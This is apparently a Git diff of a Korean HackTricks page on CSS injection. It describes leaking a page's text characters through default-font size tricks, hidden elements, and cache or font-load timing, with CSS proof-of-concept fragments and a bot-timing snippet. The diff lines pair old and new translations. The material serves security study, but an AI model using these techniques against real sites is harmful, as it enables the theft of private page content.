### Text node exfiltration (II): leaking the charset with a default font (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Reference:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
|
||||
**참고:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
|
||||
|
||||
이 트릭은 이 [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/)에서 공개되었습니다. 텍스트 노드에서 사용되는 문자 집합은 **브라우저에 설치된 기본 폰트를 사용하여** 유출될 수 있습니다: 외부 또는 커스텀 폰트가 필요하지 않습니다.
|
||||
This trick was released in this [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). 텍스트 노드에서 사용된 charset은 브라우저에 설치된 **default fonts**를 사용해 leaked 될 수 있다: 외부 또는 custom 폰트는 필요 없다.
|
||||
|
||||
이 개념은 애니메이션을 활용하여 `div`의 너비를 점진적으로 확장하여 한 번에 하나의 문자가 텍스트의 '접미사' 부분에서 '접두사' 부분으로 전환되도록 하는 것입니다. 이 과정은 텍스트를 두 섹션으로 효과적으로 나눕니다:
|
||||
이 개념은 애니메이션을 이용해 `div`의 너비를 점진적으로 확장시켜 한 번에 하나씩 문자가 텍스트의 'suffix' 부분에서 'prefix' 부분으로 이동하게 하는 것이다. 이 과정은 텍스트를 실질적으로 두 부분으로 분리한다:
|
||||
|
||||
1. **접두사**: 초기 줄.
|
||||
2. **접미사**: 이후 줄.
|
||||
1. **Prefix**: 초기 줄.
|
||||
2. **Suffix**: 이후 줄들.
|
||||
|
||||
문자의 전환 단계는 다음과 같이 나타납니다:
|
||||
문자들의 전환 단계는 다음과 같이 보일 것이다:
|
||||
|
||||
**C**\
|
||||
ADB
|
||||
@ -273,15 +310,15 @@ B
|
||||
|
||||
**CADB**
|
||||
|
||||
이 전환 동안, **unicode-range 트릭**이 사용되어 접두사에 새 문자가 추가될 때마다 이를 식별합니다. 이는 Comic Sans로 글꼴을 전환하여 이루어지며, 이는 기본 글꼴보다 눈에 띄게 더 커서 수직 스크롤바를 유발합니다. 이 스크롤바의 출현은 접두사에 새 문자가 존재함을 간접적으로 드러냅니다.
|
||||
이 전환 동안, **unicode-range trick**을 사용해 새로운 문자가 prefix에 합류할 때마다 식별한다. 이는 폰트를 Comic Sans로 전환함으로써 이루어지는데, Comic Sans는 default font보다 눈에 띄게 높기 때문에 세로 스크롤바가 발생한다. 이 스크롤바의 등장으로 prefix에 새로운 문자가 들어왔음이 간접적으로 드러난다.
|
||||
|
||||
이 방법은 고유한 문자가 나타날 때 이를 감지할 수 있지만, 어떤 문자가 반복되었는지는 명시하지 않고 단지 반복이 발생했음을 나타냅니다.
|
||||
이 방법은 개별 문자가 등장할 때 이를 감지할 수 있게 해주지만, 어떤 문자가 반복되었는지는 특정하지 못하고 단지 반복이 발생했다는 사실만 알려준다.
|
||||
|
||||
> [!NOTE]
|
||||
> 기본적으로, **unicode-range는 문자를 감지하는 데 사용되지만**, 외부 폰트를 로드하고 싶지 않기 때문에 다른 방법을 찾아야 합니다.\
|
||||
> **문자**가 **발견되면**, 미리 설치된 **Comic Sans 폰트**가 **주어져** 문자가 **더 커지게** 하고 **스크롤 바를 유발**하여 **발견된 문자를 유출**합니다.
|
||||
> [!TIP]
|
||||
> 기본적으로, **unicode-range is used to detect a char**, 하지만 외부 폰트를 로드하고 싶지 않으므로 다른 방법을 찾아야 한다.\
|
||||
> 문자가 **found**되면 사전 설치된 **Comic Sans font**가 적용되어 문자가 **bigger**해지고 **triggers a scroll bar**가 발생하며, 이는 발견된 문자를 **leak**한다.
|
||||
|
||||
Check the code extracted from the PoC:
|
||||
PoC에서 추출한 코드를 확인하라:
|
||||
```css
|
||||
/* comic sans is high (lol) and causes a vertical overflow */
|
||||
@font-face {
|
||||
@ -706,17 +743,17 @@ div::-webkit-scrollbar:vertical {
|
||||
background: blue var(--leak);
|
||||
}
|
||||
```
|
||||
### Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
### Text node exfiltration (III): leaking the charset — 기본 폰트를 사용해 요소를 숨기는 방식 (외부 자산 불필요) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Reference:** This is mentioned as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
**참조:** 이 내용은 [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)로 언급되어 있다
|
||||
|
||||
이 경우는 이전 경우와 매우 유사하지만, 이 경우의 목표는 특정 **문자를 다른 문자보다 크게 만들어서** 버튼과 같은 무언가를 숨기거나 로드되지 않을 이미지를 숨기는 것입니다. 따라서 우리는 행동(또는 행동의 부재)을 측정하고 특정 문자가 텍스트 안에 존재하는지 알 수 있습니다.
|
||||
이 경우는 이전 경우와 매우 유사하다. 다만 여기서 특정 **문자를 다른 문자보다 더 크게 만들어 무언가를 숨기는 것**의 목적은 봇이 누르지 않도록 버튼을 가리거나 로드되지 않을 이미지처럼 어떤 요소를 숨기는 것이다. 따라서 우리는 그 동작(또는 동작의 부재)을 측정하여 특정 문자가 텍스트 안에 존재하는지 알 수 있다.
|
||||
|
||||
### Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Reference:** This is mentioned as [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
**참조:** 이 내용은 [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)로 언급되어 있다
|
||||
|
||||
이 경우, 우리는 동일한 출처에서 가짜 글꼴을 로드하여 텍스트에 문자가 있는지 유출하려고 시도할 수 있습니다:
|
||||
이 경우에는 같은 출처에서 가짜 폰트를 로드하여 특정 문자가 텍스트에 있는지 leak하려고 시도할 수 있다:
|
||||
```css
|
||||
@font-face {
|
||||
font-family: "A1";
|
||||
@ -724,15 +761,15 @@ src: url(/static/bootstrap.min.css?q=1);
|
||||
unicode-range: U+0041;
|
||||
}
|
||||
```
|
||||
일치하는 경우, **폰트는 `/static/bootstrap.min.css?q=1`에서 로드됩니다**. 비록 성공적으로 로드되지는 않지만, **브라우저는 이를 캐시해야 하며**, 캐시가 없더라도 **304 not modified** 메커니즘이 있으므로, **응답은 다른 것들보다 더 빠를 것입니다**.
|
||||
If there is a match, the **폰트는 `/static/bootstrap.min.css?q=1`에서 로드됩니다**. 비록 정상적으로 로드되지는 않더라도, **브라우저는 이를 캐시해야 하며**, 캐시가 없어도 **304 not modified** 메커니즘이 있으므로 **응답이 다른 것들보다 더 빠를 것**입니다.
|
||||
|
||||
그러나 캐시된 응답과 비캐시된 응답의 시간 차이가 충분히 크지 않으면, 이는 유용하지 않을 것입니다. 예를 들어, 저자는 다음과 같이 언급했습니다: 그러나 테스트 후, 첫 번째 문제는 속도가 그리 다르지 않다는 것이고, 두 번째 문제는 봇이 `disk-cache-size=1` 플래그를 사용한다는 것입니다. 이는 정말 사려 깊습니다.
|
||||
하지만 캐시된 응답과 비캐시 응답 간의 시간 차이가 충분히 크지 않으면 유용하지 않습니다. 예를 들어, 작성자는 다음과 같이 언급했습니다: 그러나 테스트 후에 나는 첫 번째 문제는 속도 차이가 크지 않다는 것이고, 두 번째 문제는 봇이 `disk-cache-size=1` 플래그를 사용한다는 점인데, 이는 정말 신경을 쓴 것이다.
|
||||
|
||||
### 텍스트 노드 유출 (III): 수백 개의 로컬 "폰트" 로딩 시간으로 charset 유출 (외부 자산 필요 없음) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
### Text node exfiltration (III): leaking the charset by timing loading hundreds of local "fonts" (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**참고:** 이는 [이 글에서 실패한 해결책으로 언급됩니다](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
|
||||
**Reference:** 이 내용은 [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)에서 언급되어 있습니다.
|
||||
|
||||
이 경우, 일치할 때 동일한 출처에서 **수백 개의 가짜 폰트를 로드하도록 CSS를 지정할 수 있습니다**. 이렇게 하면 **소요 시간을 측정**하고 문자 발생 여부를 확인할 수 있습니다.
|
||||
이 경우 일치가 발생하면 동일 출처에서 수백 개의 가짜 폰트를 로드하도록 **CSS를 지정할 수 있습니다**. 이렇게 하면 **걸리는 시간을 측정**하여 문자가 나타나는지 여부를 다음과 같은 방식으로 알아낼 수 있습니다:
|
||||
```css
|
||||
@font-face {
|
||||
font-family: "A1";
|
||||
@ -747,13 +784,19 @@ browser.get(url)
|
||||
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
|
||||
time.sleep(30)
|
||||
```
|
||||
그래서, 폰트가 일치하지 않으면 봇을 방문할 때 응답 시간은 약 30초가 될 것으로 예상됩니다. 그러나 폰트가 일치하면 폰트를 가져오기 위해 여러 요청이 전송되어 네트워크에 지속적인 활동이 발생합니다. 결과적으로 중지 조건을 만족하고 응답을 받는 데 더 오랜 시간이 걸릴 수 있습니다. 따라서 응답 시간을 폰트 일치 여부를 판단하는 지표로 사용할 수 있습니다.
|
||||
따라서 글꼴이 일치하지 않으면 봇 방문 시 응답 시간은 약 30초로 예상됩니다. 반면 글꼴이 일치하면 글꼴을 가져오기 위해 여러 요청이 전송되어 네트워크 활동이 계속 발생합니다. 그 결과 정지 조건을 만족하고 응답을 받는 데 더 오래 걸립니다. 따라서 응답 시간은 글꼴 일치 여부를 판단하는 지표로 사용할 수 있습니다.
|
||||
|
||||
## References
|
||||
## 참고 자료
|
||||
|
||||
- [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
|
||||
- [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b)
|
||||
- [https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d](https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d)
|
||||
- [https://x-c3ll.github.io/posts/CSS-Injection-Primitives/](https://x-c3ll.github.io/posts/CSS-Injection-Primitives/)
|
||||
- [Inline Style Exfiltration: leaking data with chained CSS conditionals (PortSwigger)](https://portswigger.net/research/inline-style-exfiltration)
|
||||
- [InlineStyleAttributeStealer.bambda (Burp Custom Action)](https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda)
|
||||
- [PoC page for inline-style exfiltration](https://portswigger-labs.net/inline-style-exfiltration-ff1072wu/test.php)
|
||||
- [MDN: CSS if() conditional](https://developer.mozilla.org/en-US/docs/Web/CSS/if)
|
||||
- [MDN: CSS attr() function](https://developer.mozilla.org/en-US/docs/Web/CSS/attr)
|
||||
- [MDN: image-set()](https://developer.mozilla.org/en-US/docs/Web/CSS/image/image-set)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user